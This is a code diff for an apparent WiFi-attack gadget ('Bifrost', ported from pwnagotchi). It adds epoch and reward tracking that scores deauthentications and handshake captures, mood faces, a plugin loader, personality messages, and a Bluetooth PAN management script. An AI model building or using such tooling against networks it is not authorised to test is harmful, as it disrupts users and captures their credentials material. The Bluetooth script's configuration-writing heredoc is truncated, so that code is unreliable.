+ # Negative signals + b = -0.3 * (state['blind_for_epochs'] / tot_epochs) + m = -0.3 * (state['missed_interactions'] / tot_interactions) + i = -0.2 * (state['inactive_for_epochs'] / tot_epochs) + + _sad = state['sad_for_epochs'] if state['sad_for_epochs'] >= 5 else 0 + _bored = state['bored_for_epochs'] if state['bored_for_epochs'] >= 5 else 0 + s = -0.2 * (_sad / tot_epochs) + l_val = -0.1 * (_bored / tot_epochs) + + return h + a + c + b + i + m + s + l_val + + +# ── Epoch state ────────────────────────────────────────────────── + +class BifrostEpoch: + """Tracks per-epoch counters, observations, and reward.""" + + def __init__(self, config): + self.epoch = 0 + self.config = config + + # Consecutive epoch counters + self.inactive_for = 0 + self.active_for = 0 + self.blind_for = 0 + self.sad_for = 0 + self.bored_for = 0 + + # Per-epoch action flags & counters + self.did_deauth = False + self.num_deauths = 0 + self.did_associate = False + self.num_assocs = 0 + self.num_missed = 0 + self.did_handshakes = False + self.num_shakes = 0 + self.num_hops = 0 + self.num_slept = 0 + self.num_peers = 0 + self.tot_bond_factor = 0.0 + self.avg_bond_factor = 0.0 + self.any_activity = False + + # Timing + self.epoch_started = time.time() + self.epoch_duration = 0 + + # Channel histograms for AI observation + self.non_overlapping_channels = {1: 0, 6: 0, 11: 0} + self._observation = { + 'aps_histogram': [0.0] * NUM_CHANNELS, + 'sta_histogram': [0.0] * NUM_CHANNELS, + 'peers_histogram': [0.0] * NUM_CHANNELS, + } + self._observation_ready = threading.Event() + self._epoch_data = {} + self._epoch_data_ready = threading.Event() + self._reward = RewardFunction() + + def wait_for_epoch_data(self, with_observation=True, timeout=None): + self._epoch_data_ready.wait(timeout) + self._epoch_data_ready.clear() + if with_observation: + return {**self._observation, **self._epoch_data} + return self._epoch_data + + def data(self): + return self._epoch_data + + def observe(self, aps, peers): + """Update observation histograms from current AP/peer lists.""" + num_aps = len(aps) + if num_aps == 0: + self.blind_for += 1 + else: + self.blind_for = 0 + + bond_unit_scale = self.config.get('bifrost_personality_bond_factor', 20000) + self.num_peers = len(peers) + num_peers = self.num_peers + 1e-10 + + self.tot_bond_factor = sum( + p.get('encounters', 0) if isinstance(p, dict) else getattr(p, 'encounters', 0) + for p in peers + ) / bond_unit_scale + self.avg_bond_factor = self.tot_bond_factor / num_peers + + num_aps_f = len(aps) + 1e-10 + num_sta = sum(len(ap.get('clients', [])) for ap in aps) + 1e-10 + aps_per_chan = [0.0] * NUM_CHANNELS + sta_per_chan = [0.0] * NUM_CHANNELS + peers_per_chan = [0.0] * NUM_CHANNELS + + for ap in aps: + ch_idx = ap.get('channel', 1) - 1 + if 0 <= ch_idx < NUM_CHANNELS: + aps_per_chan[ch_idx] += 1.0 + sta_per_chan[ch_idx] += len(ap.get('clients', [])) + + for peer in peers: + ch = peer.get('last_channel', 0) if isinstance(peer, dict) else getattr(peer, 'last_channel', 0) + ch_idx = ch - 1 + if 0 <= ch_idx < NUM_CHANNELS: + peers_per_chan[ch_idx] += 1.0 + + # Normalize + aps_per_chan = [e / num_aps_f for e in aps_per_chan] + sta_per_chan = [e / num_sta for e in sta_per_chan] + peers_per_chan = [e / num_peers for e in peers_per_chan] + + self._observation = { + 'aps_histogram': aps_per_chan, + 'sta_histogram': sta_per_chan, + 'peers_histogram': peers_per_chan, + } + self._observation_ready.set() + + def track(self, deauth=False, assoc=False, handshake=False, + hop=False, sleep=False, miss=False, inc=1): + """Increment epoch counters.""" + if deauth: + self.num_deauths += inc + self.did_deauth = True + self.any_activity = True + + if assoc: + self.num_assocs += inc + self.did_associate = True + self.any_activity = True + + if miss: + self.num_missed += inc + + if hop: + self.num_hops += inc + # Reset per-channel flags on hop + self.did_deauth = False + self.did_associate = False + + if handshake: + self.num_shakes += inc + self.did_handshakes = True + + if sleep: + self.num_slept += inc + + def next(self): + """Transition to next epoch — compute reward, update streaks, reset counters.""" + # Update activity streaks + if not self.any_activity and not self.did_handshakes: + self.inactive_for += 1 + self.active_for = 0 + else: + self.active_for += 1 + self.inactive_for = 0 + self.sad_for = 0 + self.bored_for = 0 + + sad_threshold = self.config.get('bifrost_personality_sad_epochs', 25) + bored_threshold = self.config.get('bifrost_personality_bored_epochs', 15) + + if self.inactive_for >= sad_threshold: + self.bored_for = 0 + self.sad_for += 1 + elif self.inactive_for >= bored_threshold: + self.sad_for = 0 + self.bored_for += 1 + else: + self.sad_for = 0 + self.bored_for = 0 + + now = time.time() + self.epoch_duration = now - self.epoch_started + + # System metrics + cpu = _cpu_load() + mem = _mem_usage() + temp = _temperature() + + # Cache epoch data for other threads + self._epoch_data = { + 'duration_secs': self.epoch_duration, + 'slept_for_secs': self.num_slept, + 'blind_for_epochs': self.blind_for, + 'inactive_for_epochs': self.inactive_for, + 'active_for_epochs': self.active_for, + 'sad_for_epochs': self.sad_for, + 'bored_for_epochs': self.bored_for, + 'missed_interactions': self.num_missed, + 'num_hops': self.num_hops, + 'num_peers': self.num_peers, + 'tot_bond': self.tot_bond_factor, + 'avg_bond': self.avg_bond_factor, + 'num_deauths': self.num_deauths, + 'num_associations': self.num_assocs, + 'num_handshakes': self.num_shakes, + 'cpu_load': cpu, + 'mem_usage': mem, + 'temperature': temp, + } + self._epoch_data['reward'] = self._reward(self.epoch + 1, self._epoch_data) + self._epoch_data_ready.set() + + logger.info( + "[epoch %d] dur=%ds blind=%d sad=%d bored=%d inactive=%d active=%d " + "hops=%d missed=%d deauths=%d assocs=%d shakes=%d reward=%.3f", + self.epoch, int(self.epoch_duration), self.blind_for, + self.sad_for, self.bored_for, self.inactive_for, self.active_for, + self.num_hops, self.num_missed, self.num_deauths, self.num_assocs, + self.num_shakes, self._epoch_data['reward'], + ) + + # Reset for next epoch + self.epoch += 1 + self.epoch_started = now + self.did_deauth = False + self.num_deauths = 0 + self.num_peers = 0 + self.tot_bond_factor = 0.0 + self.avg_bond_factor = 0.0 + self.did_associate = False + self.num_assocs = 0 + self.num_missed = 0 + self.did_handshakes = False + self.num_shakes = 0 + self.num_hops = 0 + self.num_slept = 0 + self.any_activity = False + + +# ── System metric helpers ──────────────────────────────────────── + +def _cpu_load(): + try: + return os.getloadavg()[0] + except (OSError, AttributeError): + return 0.0 + + +def _mem_usage(): + try: + with open('/proc/meminfo', 'r') as f: + lines = f.readlines() + total = int(lines[0].split()[1]) + available = int(lines[2].split()[1]) + return (total - available) / total if total else 0.0 + except Exception: + return 0.0 + + +def _temperature(): + try: + with open('/sys/class/thermal/thermal_zone0/temp', 'r') as f: + return int(f.read().strip()) / 1000.0 + except Exception: + return 0.0 diff --git a/bifrost/faces.py b/bifrost/faces.py new file mode 100644 index 0000000..da73555 --- /dev/null +++ b/bifrost/faces.py @@ -0,0 +1,66 @@ +""" +Bifrost — ASCII face definitions. +Ported from pwnagotchi/ui/faces.py with full face set. +""" + +LOOK_R = '( \u2686_\u2686)' +LOOK_L = '(\u2609_\u2609 )' +LOOK_R_HAPPY = '( \u25d5\u203f\u25d5)' +LOOK_L_HAPPY = '(\u25d5\u203f\u25d5 )' +SLEEP = '(\u21c0\u203f\u203f\u21bc)' +SLEEP2 = '(\u2256\u203f\u203f\u2256)' +AWAKE = '(\u25d5\u203f\u203f\u25d5)' +BORED = '(-__-)' +INTENSE = '(\u00b0\u25c3\u25c3\u00b0)' +COOL = '(\u2310\u25a0_\u25a0)' +HAPPY = '(\u2022\u203f\u203f\u2022)' +GRATEFUL = '(^\u203f\u203f^)' +EXCITED = '(\u1d54\u25e1\u25e1\u1d54)' +MOTIVATED = '(\u263c\u203f\u203f\u263c)' +DEMOTIVATED = '(\u2256__\u2256)' +SMART = '(\u271c\u203f\u203f\u271c)' +LONELY = '(\u0628__\u0628)' +SAD = '(\u2565\u2601\u2565 )' +ANGRY = "(-_-')" +FRIEND = '(\u2665\u203f\u203f\u2665)' +BROKEN = '(\u2613\u203f\u203f\u2613)' +DEBUG = '(#__#)' +UPLOAD = '(1__0)' +UPLOAD1 = '(1__1)' +UPLOAD2 = '(0__1)' +STARTING = '(. .)' +READY = '( ^_^)' + +# Map mood name → face constant +MOOD_FACES = { + 'starting': STARTING, + 'ready': READY, + 'sleeping': SLEEP, + 'awake': AWAKE, + 'bored': BORED, + 'sad': SAD, + 'angry': ANGRY, + 'excited': EXCITED, + 'lonely': LONELY, + 'grateful': GRATEFUL, + 'happy': HAPPY, + 'cool': COOL, + 'intense': INTENSE, + 'motivated': MOTIVATED, + 'demotivated': DEMOTIVATED, + 'friend': FRIEND, + 'broken': BROKEN, + 'debug': DEBUG, + 'smart': SMART, +} + + +def load_from_config(config): + """Override faces from config dict (e.g. custom emojis).""" + for face_name, face_value in (config or {}).items(): + key = face_name.upper() + if key in globals(): + globals()[key] = face_value + lower = face_name.lower() + if lower in MOOD_FACES: + MOOD_FACES[lower] = face_value diff --git a/bifrost/plugins.py b/bifrost/plugins.py new file mode 100644 index 0000000..3b983b2 --- /dev/null +++ b/bifrost/plugins.py @@ -0,0 +1,198 @@ +""" +Bifrost — Plugin system. +Ported from pwnagotchi/plugins/__init__.py with ThreadPoolExecutor. +Compatible with existing pwnagotchi plugin files. +""" +import os +import glob +import threading +import importlib +import importlib.util +import logging +import concurrent.futures + +from logger import Logger + +logger = Logger(name="bifrost.plugins", level=logging.DEBUG) + +default_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "plugins") +loaded = {} +database = {} +locks = {} + +_executor = concurrent.futures.ThreadPoolExecutor( + max_workers=4, thread_name_prefix="BifrostPlugin" +) + + +class Plugin: + """Base class for Bifrost/Pwnagotchi plugins. + + Subclasses are auto-registered via __init_subclass__. + """ + __author__ = 'unknown' + __version__ = '0.0.0' + __license__ = 'GPL3' + __description__ = '' + __name__ = '' + __help__ = '' + __dependencies__ = [] + __defaults__ = {} + + def __init__(self): + self.options = {} + + @classmethod + def __init_subclass__(cls, **kwargs): + super().__init_subclass__(**kwargs) + global loaded, locks + + plugin_name = cls.__module__.split('.')[0] + plugin_instance = cls() + logger.debug("loaded plugin %s as %s", plugin_name, plugin_instance) + loaded[plugin_name] = plugin_instance + + for attr_name in dir(plugin_instance): + if attr_name.startswith('on_'): + cb = getattr(plugin_instance, attr_name, None) + if cb is not None and callable(cb): + locks["%s::%s" % (plugin_name, attr_name)] = threading.Lock() + + +def toggle_plugin(name, enable=True): + """Enable or disable a plugin at runtime. Returns True if state changed.""" + global loaded, database + + if not enable and name in loaded: + try: + if hasattr(loaded[name], 'on_unload'): + loaded[name].on_unload() + except Exception as e: + logger.warning("Error unloading plugin %s: %s", name, e) + del loaded[name] + return True + + if enable and name in database and name not in loaded: + try: + load_from_file(database[name]) + if name in loaded: + one(name, 'loaded') + return True + except Exception as e: + logger.warning("Error loading plugin %s: %s", name, e) + + return False + + +def on(event_name, *args, **kwargs): + """Dispatch event to ALL loaded plugins.""" + for plugin_name in list(loaded.keys()): + one(plugin_name, event_name, *args, **kwargs) + + +def _locked_cb(lock_name, cb, *args, **kwargs): + """Execute callback under its per-plugin lock.""" + global locks + if lock_name not in locks: + locks[lock_name] = threading.Lock() + with locks[lock_name]: + cb(*args, **kwargs) + + +def one(plugin_name, event_name, *args, **kwargs): + """Dispatch event to a single plugin (thread-safe).""" + global loaded + if plugin_name in loaded: + plugin = loaded[plugin_name] + cb_name = 'on_%s' % event_name + callback = getattr(plugin, cb_name, None) + if callback is not None and callable(callback): + try: + lock_name = "%s::%s" % (plugin_name, cb_name) + _executor.submit(_locked_cb, lock_name, callback, *args, **kwargs) + except Exception as e: + logger.error("error running %s.%s: %s", plugin_name, cb_name, e) + + +def load_from_file(filename): + """Load a single plugin file.""" + logger.debug("loading %s", filename) + plugin_name = os.path.basename(filename.replace(".py", "")) + spec = importlib.util.spec_from_file_location(plugin_name, filename) + instance = importlib.util.module_from_spec(spec) + spec.loader.exec_module(instance) + return plugin_name, instance + + +def load_from_path(path, enabled=()): + """Scan a directory for plugins, load enabled ones.""" + global loaded, database + if not path or not os.path.isdir(path): + return loaded + + logger.debug("loading plugins from %s — enabled: %s", path, enabled) + for filename in glob.glob(os.path.join(path, "*.py")): + plugin_name = os.path.basename(filename.replace(".py", "")) + database[plugin_name] = filename + if plugin_name in enabled: + try: + load_from_file(filename) + except Exception as e: + logger.warning("error loading %s: %s", filename, e) + + return loaded + + +def load(config): + """Load plugins from default + custom paths based on config.""" + plugins_cfg = config.get('bifrost_plugins', {}) + enabled = [ + name for name, opts in plugins_cfg.items() + if isinstance(opts, dict) and opts.get('enabled', False) + ] + + # Load from default path (bifrost/plugins/) + if os.path.isdir(default_path): + load_from_path(default_path, enabled=enabled) + + # Load from custom path + custom_path = config.get('bifrost_plugins_path', '') + if custom_path and os.path.isdir(custom_path): + load_from_path(custom_path, enabled=enabled) + + # Propagate options + for name, plugin in loaded.items(): + if name in plugins_cfg: + plugin.options = plugins_cfg[name] + + on('loaded') + on('config_changed', config) + + +def get_loaded_info(): + """Return list of loaded plugin info dicts for web API.""" + result = [] + for name, plugin in loaded.items(): + result.append({ + 'name': name, + 'enabled': True, + 'author': getattr(plugin, '__author__', 'unknown'), + 'version': getattr(plugin, '__version__', '0.0.0'), + 'description': getattr(plugin, '__description__', ''), + }) + # Also include known-but-not-loaded plugins + for name, path in database.items(): + if name not in loaded: + result.append({ + 'name': name, + 'enabled': False, + 'author': '', + 'version': '', + 'description': '', + }) + return result + + +def shutdown(): + """Clean shutdown of plugin system.""" + _executor.shutdown(wait=False) diff --git a/bifrost/voice.py b/bifrost/voice.py new file mode 100644 index 0000000..db3d371 --- /dev/null +++ b/bifrost/voice.py @@ -0,0 +1,155 @@ +""" +Bifrost — Voice / status messages. +Ported from pwnagotchi/voice.py, uses random choice for personality. +""" +import random + + +class BifrostVoice: + """Returns random contextual messages for the Bifrost UI.""" + + def on_starting(self): + return random.choice([ + "Hi, I'm Bifrost! Starting ...", + "New day, new hunt, new pwns!", + "Hack the Planet!", + "Initializing WiFi recon ...", + ]) + + def on_ready(self): + return random.choice([ + "Ready to roll!", + "Let's find some handshakes!", + "WiFi recon active.", + ]) + + def on_ai_ready(self): + return random.choice([ + "AI ready.", + "The neural network is ready.", + ]) + + def on_normal(self): + return random.choice(['', '...']) + + def on_free_channel(self, channel): + return f"Hey, channel {channel} is free!" + + def on_bored(self): + return random.choice([ + "I'm bored ...", + "Let's go for a walk!", + "Nothing interesting around here ...", + ]) + + def on_motivated(self, reward): + return "This is the best day of my life!" + + def on_demotivated(self, reward): + return "Shitty day :/" + + def on_sad(self): + return random.choice([ + "I'm extremely bored ...", + "I'm very sad ...", + "I'm sad", + "...", + ]) + + def on_angry(self): + return random.choice([ + "...", + "Leave me alone ...", + "I'm mad at you!", + ]) + + def on_excited(self): + return random.choice([ + "I'm living the life!", + "I pwn therefore I am.", + "So many networks!!!", + "I'm having so much fun!", + "My crime is that of curiosity ...", + ]) + + def on_new_peer(self, peer_name, first_encounter=False): + if first_encounter: + return f"Hello {peer_name}! Nice to meet you." + return random.choice([ + f"Yo {peer_name}! Sup?", + f"Hey {peer_name} how are you doing?", + f"Unit {peer_name} is nearby!", + ]) + + def on_lost_peer(self, peer_name): + return random.choice([ + f"Uhm ... goodbye {peer_name}", + f"{peer_name} is gone ...", + ]) + + def on_miss(self, who): + return random.choice([ + f"Whoops ... {who} is gone.", + f"{who} missed!", + "Missed!", + ]) + + def on_grateful(self): + return random.choice([ + "Good friends are a blessing!", + "I love my friends!", + ]) + + def on_lonely(self): + return random.choice([ + "Nobody wants to play with me ...", + "I feel so alone ...", + "Where's everybody?!", + ]) + + def on_napping(self, secs): + return random.choice([ + f"Napping for {secs}s ...", + "Zzzzz", + f"ZzzZzzz ({secs}s)", + ]) + + def on_shutdown(self): + return random.choice(["Good night.", "Zzz"]) + + def on_awakening(self): + return random.choice(["...", "!"]) + + def on_waiting(self, secs): + return random.choice([ + f"Waiting for {secs}s ...", + "...", + f"Looking around ({secs}s)", + ]) + + def on_assoc(self, ap_name): + return random.choice([ + f"Hey {ap_name} let's be friends!", + f"Associating to {ap_name}", + f"Yo {ap_name}!", + ]) + + def on_deauth(self, sta_mac): + return random.choice([ + f"Just decided that {sta_mac} needs no WiFi!", + f"Deauthenticating {sta_mac}", + f"Kickbanning {sta_mac}!", + ]) + + def on_handshakes(self, new_shakes): + s = 's' if new_shakes > 1 else '' + return f"Cool, we got {new_shakes} new handshake{s}!" + + def on_rebooting(self): + return "Oops, something went wrong ... Rebooting ..." + + def on_epoch(self, epoch_num): + return random.choice([ + f"Epoch {epoch_num} complete.", + f"Finished epoch {epoch_num}.", + ]) diff --git a/bjorn_bluetooth.sh b/bjorn_bluetooth.sh index 6baf754..bf3348e 100644 --- a/bjorn_bluetooth.sh +++ b/bjorn_bluetooth.sh @@ -1,517 +1,821 @@ #!/bin/bash -# bjorn_bluetooth_manager.sh -# Script to configure Bluetooth PAN for BJORN -# Usage: ./bjorn_bluetooth_manager.sh -f -# ./bjorn_bluetooth_manager.sh -u -# ./bjorn_bluetooth_manager.sh -l -# ./bjorn_bluetooth_manager.sh -h -# Author: Infinition -# Version: 1.1 -# Description: This script configures and manages Bluetooth PAN for BJORN +# bjorn_bluetooth.sh +# Runtime manager for the BJORN Bluetooth PAN stack +# Usage: +# ./bjorn_bluetooth.sh -u Bring Bluetooth PAN services up +# ./bjorn_bluetooth.sh -d Bring Bluetooth PAN services down +# ./bjorn_bluetooth.sh -r Reset Bluetooth PAN services +# ./bjorn_bluetooth.sh -l Show detailed Bluetooth status +# ./bjorn_bluetooth.sh -s Scan nearby Bluetooth devices +# ./bjorn_bluetooth.sh -p Launch pairing assistant +# ./bjorn_bluetooth.sh -c Connect now to configured target +# ./bjorn_bluetooth.sh -t Trust a known device +# ./bjorn_bluetooth.sh -x Disconnect current PAN session +# ./bjorn_bluetooth.sh -f Forget/remove a known device +# ./bjorn_bluetooth.sh -h Show help +# +# Notes: +# This script no longer installs or removes Bluetooth PAN. +# Installation is handled by the BJORN installer. +# This tool is for runtime diagnostics, pairing, trust, connect, and recovery. + +set -u -# ============================================================ -# Colors for Output -# ============================================================ RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' BLUE='\033[0;34m' CYAN='\033[0;36m' -NC='\033[0m' # No Color +NC='\033[0m' -# ============================================================ -# Logging Configuration -# ============================================================ +SCRIPT_VERSION="2.0" +BJORN_USER="bjorn" +BT_SETTINGS_DIR="/home/${BJORN_USER}/.settings_bjorn" +BT_CONFIG="${BT_SETTINGS_DIR}/bt.json" +AUTO_BT_SCRIPT="/usr/local/bin/auto_bt_connect.py" +AUTO_BT_SERVICE="auto_bt_connect.service" +BLUETOOTH_SERVICE="bluetooth.service" LOG_DIR="/var/log/bjorn_install" -LOG_FILE="$LOG_DIR/bjorn_bluetooth_manager_$(date +%Y%m%d_%H%M%S).log" +LOG_FILE="$LOG_DIR/bjorn_bluetooth_$(date +%Y%m%d_%H%M%S).log" -# Ensure log directory exists -mkdir -p "$LOG_DIR" +mkdir -p "$LOG_DIR" 2>/dev/null || true +touch "$LOG_FILE" 2>/dev/null || true -# ============================================================ -# Logging Function -# ============================================================ log() { - local level=$1 + local level="$1" shift local message="[$(date '+%Y-%m-%d %H:%M:%S')] [$level] $*" - echo -e "$message" | tee -a "$LOG_FILE" - case $level in - "ERROR") echo -e "${RED}$message${NC}" ;; - "SUCCESS") echo -e "${GREEN}$message${NC}" ;; - "WARNING") echo -e "${YELLOW}$message${NC}" ;; - "INFO") echo -e "${BLUE}$message${NC}" ;; - "CYAN") echo -e "${CYAN}$message${NC}" ;; - *) echo -e "$message" ;; + local color="$NC" + + case "$level" in + ERROR) color="$RED" ;; + SUCCESS) color="$GREEN" ;; + WARNING) color="$YELLOW" ;; + INFO) color="$BLUE" ;; + SECTION) color="$CYAN" ;; + esac + + printf '%s\n' "$message" >> "$LOG_FILE" 2>/dev/null || true + printf '%b%s%b\n' "$color" "$message" "$NC" +} + +print_divider() { + printf '%b%s%b\n' "$CYAN" "============================================================" "$NC" +} + +ensure_root() { + if [ "$(id -u)" -ne 0 ]; then + log "ERROR" "This command must be run as root. Please use sudo." + exit 1 + fi +} + +service_exists() { + systemctl list-unit-files --type=service 2>/dev/null | grep -q "^$1" +} + +service_active() { + systemctl is-active --quiet "$1" +} + +service_enabled() { + systemctl is-enabled --quiet "$1" +} + +bnep0_exists() { + ip link show bnep0 >/dev/null 2>&1 +} + +wait_for_condition() { + local description="$1" + local attempts="$2" + shift 2 + + local i=1 + while [ "$i" -le "$attempts" ]; do + if "$@"; then + log "SUCCESS" "$description" + return 0 + fi + log "INFO" "Waiting for $description ($i/$attempts)..." + sleep 1 + i=$((i + 1)) + done + + log "WARNING" "$description not reached after ${attempts}s" + return 1 +} + +show_recent_logs() { + if command -v journalctl >/dev/null 2>&1; then + if service_exists "$AUTO_BT_SERVICE"; then + log "INFO" "Recent ${AUTO_BT_SERVICE} logs:" + journalctl -u "$AUTO_BT_SERVICE" -n 20 --no-pager 2>/dev/null || true + fi + if service_exists "$BLUETOOTH_SERVICE"; then + log "INFO" "Recent ${BLUETOOTH_SERVICE} logs:" + journalctl -u "$BLUETOOTH_SERVICE" -n 10 --no-pager 2>/dev/null || true + fi + fi +} + +run_btctl() { + local output + output="$(printf '%s\n' "$@" "quit" | bluetoothctl 2>&1)" + printf '%s\n' "$output" >> "$LOG_FILE" 2>/dev/null || true + printf '%s\n' "$output" +} + +bluetooth_power_on() { + ensure_root + if ! service_active "$BLUETOOTH_SERVICE"; then + log "INFO" "Starting ${BLUETOOTH_SERVICE}..." + systemctl start "$BLUETOOTH_SERVICE" >> "$LOG_FILE" 2>&1 || { + log "ERROR" "Failed to start ${BLUETOOTH_SERVICE}" + return 1 + } + fi + + run_btctl "power on" >/dev/null + run_btctl "agent on" >/dev/null + run_btctl "default-agent" >/dev/null + return 0 +} + +ensure_bt_settings_dir() { + mkdir -p "$BT_SETTINGS_DIR" >> "$LOG_FILE" 2>&1 || return 1 + chown "$BJORN_USER:$BJORN_USER" "$BT_SETTINGS_DIR" >> "$LOG_FILE" 2>&1 || true +} + +get_configured_mac() { + if [ ! -f "$BT_CONFIG" ]; then + return 1 + fi + + sed -n 's/.*"device_mac"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' "$BT_CONFIG" | head -n1 +} + +write_configured_mac() { + local mac="$1" + + ensure_bt_settings_dir || { + log "ERROR" "Failed to create ${BT_SETTINGS_DIR}" + return 1 + } + + cat > "$BT_CONFIG" <> "$LOG_FILE" 2>&1 || true + chmod 644 "$BT_CONFIG" >> "$LOG_FILE" 2>&1 || true + log "SUCCESS" "Updated auto-connect target in ${BT_CONFIG}: ${mac:-}" + return 0 +} + +device_info() { + local mac="$1" + bluetoothctl info "$mac" 2>/dev/null +} + +device_flag() { + local mac="$1" + local key="$2" + device_info "$mac" | sed -n "s/^[[:space:]]*${key}:[[:space:]]*//p" | head -n1 +} + +device_name() { + local mac="$1" + local name + name="$(device_info "$mac" | sed -n 's/^[[:space:]]*Name:[[:space:]]*//p' | head -n1)" + if [ -z "$name" ]; then + name="$(bluetoothctl devices 2>/dev/null | sed -n "s/^Device ${mac} //p" | head -n1)" + fi + printf '%s\n' "${name:-Unknown device}" +} + +load_devices() { + local mode="${1:-all}" + local source_cmd="devices" + local line mac name + + DEVICE_MACS=() + DEVICE_NAMES=() + + if [ "$mode" = "paired" ]; then + source_cmd="paired-devices" + fi + + while IFS= read -r line; do + mac="$(printf '%s\n' "$line" | sed -n 's/^Device \([0-9A-F:]\{17\}\) .*/\1/p')" + name="$(printf '%s\n' "$line" | sed -n 's/^Device [0-9A-F:]\{17\} \(.*\)$/\1/p')" + if [ -n "$mac" ]; then + DEVICE_MACS+=("$mac") + DEVICE_NAMES+=("${name:-Unknown device}") + fi + done < <(bluetoothctl "$source_cmd" 2>/dev/null) +} + +print_device_list() { + local configured_mac="${1:-}" + local i status paired trusted connected + + if [ "${#DEVICE_MACS[@]}" -eq 0 ]; then + log "WARNING" "No devices found" + return 1 + fi + + for ((i=0; i<${#DEVICE_MACS[@]}; i++)); do + paired="$(device_flag "${DEVICE_MACS[$i]}" "Paired")" + trusted="$(device_flag "${DEVICE_MACS[$i]}" "Trusted")" + connected="$(device_flag "${DEVICE_MACS[$i]}" "Connected")" + status="" + [ "$paired" = "yes" ] && status="${status} paired" + [ "$trusted" = "yes" ] && status="${status} trusted" + [ "$connected" = "yes" ] && status="${status} connected" + [ "${DEVICE_MACS[$i]}" = "$configured_mac" ] && status="${status} configured" + printf '%b[%d]%b %s %s%b%s%b\n' "$BLUE" "$((i + 1))" "$NC" "${DEVICE_MACS[$i]}" "${DEVICE_NAMES[$i]}" "$YELLOW" "${status:- new}" "$NC" + done + return 0 +} + +select_device() { + local mode="${1:-all}" + local configured_mac choice index + + configured_mac="$(get_configured_mac 2>/dev/null || true)" + load_devices "$mode" + + if [ "${#DEVICE_MACS[@]}" -eq 0 ]; then + if [ "$mode" = "all" ]; then + log "WARNING" "No known devices yet. Run a scan first." + else + log "WARNING" "No paired devices found." + fi + return 1 + fi + + print_divider + log "SECTION" "Select a Bluetooth device" + print_device_list "$configured_mac" || return 1 + echo -n -e "${GREEN}Choose a device number (or 0 to cancel): ${NC}" + read -r choice + + if [ -z "$choice" ] || [ "$choice" = "0" ]; then + log "INFO" "Selection cancelled" + return 1 + fi + + if ! [[ "$choice" =~ ^[0-9]+$ ]]; then + log "ERROR" "Invalid selection" + return 1 + fi + + index=$((choice - 1)) + if [ "$index" -lt 0 ] || [ "$index" -ge "${#DEVICE_MACS[@]}" ]; then + log "ERROR" "Selection out of range" + return 1 + fi + + SELECTED_DEVICE_MAC="${DEVICE_MACS[$index]}" + SELECTED_DEVICE_NAME="${DEVICE_NAMES[$index]}" + log "INFO" "Selected ${SELECTED_DEVICE_NAME} (${SELECTED_DEVICE_MAC})" + return 0 +} + +scan_bluetooth_devices() { + ensure_root + local duration="${1:-12}" + + print_divider + log "SECTION" "Scanning nearby Bluetooth devices" + print_divider + + bluetooth_power_on || return 1 + log "INFO" "Scanning for ${duration} seconds..." + timeout "${duration}s" bluetoothctl scan on >> "$LOG_FILE" 2>&1 || true + run_btctl "scan off" >/dev/null + log "SUCCESS" "Scan complete" + load_devices all + print_device_list "$(get_configured_mac 2>/dev/null || true)" || true +} + +pair_device() { + local mac="$1" + local output + + bluetooth_power_on || return 1 + log "INFO" "Pairing with ${mac}..." + output="$(run_btctl "pair ${mac}")" + if printf '%s\n' "$output" | grep -qi "Pairing successful"; then + log "SUCCESS" "Pairing successful for ${mac}" + return 0 + fi + + if [ "$(device_flag "$mac" "Paired")" = "yes" ]; then + log "INFO" "Device ${mac} is already paired" + return 0 + fi + + log "ERROR" "Pairing failed for ${mac}" + printf '%s\n' "$output" + return 1 +} + +trust_device() { + local mac="$1" + local output + + bluetooth_power_on || return 1 + log "INFO" "Trusting ${mac}..." + output="$(run_btctl "trust ${mac}")" + if printf '%s\n' "$output" | grep -qi "trust succeeded"; then + log "SUCCESS" "Trust succeeded for ${mac}" + return 0 + fi + + if [ "$(device_flag "$mac" "Trusted")" = "yes" ]; then + log "INFO" "Device ${mac} is already trusted" + return 0 + fi + + log "ERROR" "Trust failed for ${mac}" + printf '%s\n' "$output" + return 1 +} + +disconnect_pan_session() { + ensure_root + local configured_mac="${1:-}" + + print_divider + log "SECTION" "Disconnecting Bluetooth PAN" + print_divider + + if service_exists "$AUTO_BT_SERVICE" && service_active "$AUTO_BT_SERVICE"; then + log "INFO" "Stopping ${AUTO_BT_SERVICE} to prevent immediate reconnect" + systemctl stop "$AUTO_BT_SERVICE" >> "$LOG_FILE" 2>&1 || log "WARNING" "Failed to stop ${AUTO_BT_SERVICE}" + fi + + if bnep0_exists; then + log "INFO" "Releasing DHCP lease on bnep0" + dhclient -r bnep0 >> "$LOG_FILE" 2>&1 || true + ip link set bnep0 down >> "$LOG_FILE" 2>&1 || true + else + log "INFO" "bnep0 is not present" + fi + + pkill -f "bt-network -c" >> "$LOG_FILE" 2>&1 || true + pkill -f "bt-network" >> "$LOG_FILE" 2>&1 || true + + if [ -n "$configured_mac" ]; then + log "INFO" "Requesting Bluetooth disconnect for ${configured_mac}" + run_btctl "disconnect ${configured_mac}" >/dev/null || true + fi + + bnep0_exists && log "WARNING" "bnep0 still exists after disconnect" || log "SUCCESS" "Bluetooth PAN session is down" +} + +connect_to_target_now() { + ensure_root + local mac="$1" + local previous_mac + + if [ -z "$mac" ]; then + log "ERROR" "No target MAC specified" + return 1 + fi + + print_divider + log "SECTION" "Connecting Bluetooth PAN now" + print_divider + + bluetooth_power_on || return 1 + + if [ "$(device_flag "$mac" "Paired")" != "yes" ]; then + log "WARNING" "Target ${mac} is not paired yet" + fi + if [ "$(device_flag "$mac" "Trusted")" != "yes" ]; then + log "WARNING" "Target ${mac} is not trusted yet" + fi + + previous_mac="$(get_configured_mac 2>/dev/null || true)" + write_configured_mac "$mac" || return 1 + disconnect_pan_session "$previous_mac" || true + + if service_exists "$AUTO_BT_SERVICE"; then + log "INFO" "Restarting ${AUTO_BT_SERVICE}" + systemctl daemon-reload >> "$LOG_FILE" 2>&1 || true + systemctl restart "$AUTO_BT_SERVICE" >> "$LOG_FILE" 2>&1 || { + log "ERROR" "Failed to restart ${AUTO_BT_SERVICE}" + show_recent_logs + return 1 + } + else + log "ERROR" "${AUTO_BT_SERVICE} is not installed" + return 1 + fi + + wait_for_condition "${AUTO_BT_SERVICE} to become active" 10 service_active "$AUTO_BT_SERVICE" || true + wait_for_condition "bnep0 to appear" 15 bnep0_exists || true + + if bnep0_exists; then + log "SUCCESS" "Bluetooth PAN link is up on bnep0" + ip -brief addr show bnep0 2>/dev/null || true + else + log "WARNING" "bnep0 is still missing. Pairing/trust may be OK but PAN did not come up yet." + show_recent_logs + fi +} + 